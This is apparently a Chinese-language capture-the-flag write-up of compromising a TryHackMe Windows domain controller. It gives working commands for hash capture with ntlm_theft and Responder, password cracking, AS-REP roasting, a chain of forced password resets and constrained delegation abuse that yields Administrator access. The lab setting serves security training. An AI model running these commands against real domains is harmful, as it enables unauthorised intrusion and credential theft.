靶机ip:10.10.219.65
信息收集
nmap扫描
nmap --min-rate 10000 -A -sV -sC -p- 10.10.219.65
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 13:49 CST
Nmap scan report for 10.10.219.65
Host is up (0.63s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-25 05:50:16Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=HayStack.thm.corp
| Not valid before: 2024-10-24T05:48:35
|_Not valid after: 2025-04-25T05:48:35
| rdp-ntlm-info:
| Target_Name: THM
| NetBIOS_Domain_Name: THM
| NetBIOS_Computer_Name: HAYSTACK
| DNS_Domain_Name: thm.corp
| DNS_Computer_Name: HayStack.thm.corp
| DNS_Tree_Name: thm.corp
| Product_Version: 10.0.17763
|_ System_Time: 2024-10-25T05:51:48+00:00
|_ssl-date: 2024-10-25T05:53:13+00:00; +22s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49673/tcp open unknown
49675/tcp open unknown
49703/tcp open unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: HAYSTACK; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 21s, deviation: 0s, median: 21s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-10-25T05:51:48
|_ start_date: N/A
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 662.94 ms 10.14.0.1
2 663.13 ms 10.10.219.65
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 249.78 seconds
可以看出这是一台域控,并且域名是HayStack.thm.corp,将这个和 thm.corp添加到/etc/hosts
SMB
smbclient -L //10.10.219.65

尝试连接Data目录
smbclient //10.10.219.65/Data

发现每次操作文件名都会变化,先将文件下载到本地查看

找到初始密码ResetMe123!

在另一个pdf文件中发现一组用户名密码LILY ONEILL:ResetMe123!
rpc
rpcclient -U "" 10.10.219.65

并没有什么信息
获取user.txt
在之前进行smb探测的时候发现目录会随着每次访问,在一定时间后就会改变文件名,说明不止我们一个人在访问这个目录,所以我们可以使用工具尝试在smb中捕获另一个人的hash
使用ntlm_theft工具创建恶意文件
python3 ntlm_theft.py -g url -s 10.14.90.122 -f aaa

在攻击机上监听
sudo responder -I tun0
将生成的文件传到靶机上

在监听处我们就捕获到了一组hash

将其保存到hash文件,用于破解
使用john工具破解
john hash --wordlist=/usr/share/wordlists/rockyou.txt

成功获取AUTOMATE的密码Passw0rd1
尝试登录
evil-winrm -i 10.10.219.65 -u AUTOMATE -p Passw0rd1

在Desktop找到user.txt
横向移动
AS-REP Roasting
使用bloodhound-pytohn信息收集
bloodhound-python -ns 10.10.219.65 --dns-tcp -d THM.CORP -u automate -p Passw0rd1 -c All --zip

将收集的信息使用Bloodhound分析

发现有三个能够AS-REP攻击的用户
ERNESTO_SILVA@THM.CORPTABATHA_BRITT@THM.CORPLEANN_LONG@THM.CORP
将用户名保存到users文件
使用GetNPUsers.py请求用户的TGT
GetNPUsers.py thm.corp/ -usersfile users -dc-ip 10.10.219.65

分别使用john爆破

最终发现只有TABATHA_BRITT用户成功爆破,密码是marlboro(1985)
再对该用户进行信息搜集
bloodhound-python -ns 10.10.219.65 --dns-tcp -d THM.CORP -u TABATHA_BRITT -p 'marlboro(1985)' -c All --zip
将收集的信息使用Bloodhound分析

找到利用链,我们想要到达DARLA_WINTERS,就是从TABATHA_BRITT到SHAWMA_BRAY的GenericAll,利用ForceChangePassword从SHAWMA_BRAY到CRUZZ_HALL,最后利用GenericWrite从CRUZ_HALL到DARLA_WINTERS


我们发现可以通过RPC利用GenericAll更改用户的密码,对于ForceChangePassword和GenericWrite同样可以适用
我们使用TABATHA_BRITT用户来操作
net rpc password "SHAWNA_BRAY" "Aa123456!" -U "thm.corp"/"TABATHA_BRITT"%"marlboro(1985)" -S "10.10.219.65"
net rpc password "CRUZ_HALL" "Aa123456!" -U "THM.CORP"/"SHAWNA_BRAY"%"Aa123456!" -S "10.10.219.65"
net rpc password "DARLA_WINTERS" "Aa123456!" -U "THM.CORP"/"CRUZ_HALL"%"Aa123456!" -S "10.10.219.65"

使用crackmapexec验证一下
crackmapexec smb 10.10.219.65 -u DARLA_WINTERS -p 'Aa123456!'

修改成功!再对DARLA_WINTERS信息收集
bloodhound-python -ns 10.10.219.65 --dns-tcp -d THM.CORP -u 'DARLA_WINTERS' -p 'Aa123456!' -c All --zip

发现DARLA_WINTERS用户可以通过CIFS服务进行委派攻击,我们就可以模拟域控上CIFS服务的管理员
委派攻击
Impacket 的getST脚本将请求服务的Ticket 并将其保存为 ccache。如果帐户具有受限的委派权限,可以使用 -impersonate 标志代表其他用户请求票证。
使用 impacket 的getST.py获取票据
在请求票据之前,我们先输入下面这个命令。这个命令可以从指定的 NTP 服务器上获取准确的时间,并将系统时间调整到与之同步。
ntpdate -s haystack.thm.corp
然后再开始获取票据
getST.py -spn "cifs/haystack.thm.corp" -dc-ip 10.10.219.65 -impersonate "Administrator" "thm.corp/DARLA_WINTERS:Aa123456!"

使用KRB5CCNAME环境变量设置 ccache
export KRB5CCNAME=Administrator@cifs_haystack.thm.corp@THM.CORP.ccache
再使用wmiexec.py登录Administrator
wmiexec.py -k -no-pass Administrator@haystack.thm.corp

成功获得Administrator的权限

在Desktop找到root.txt

说些什么吧!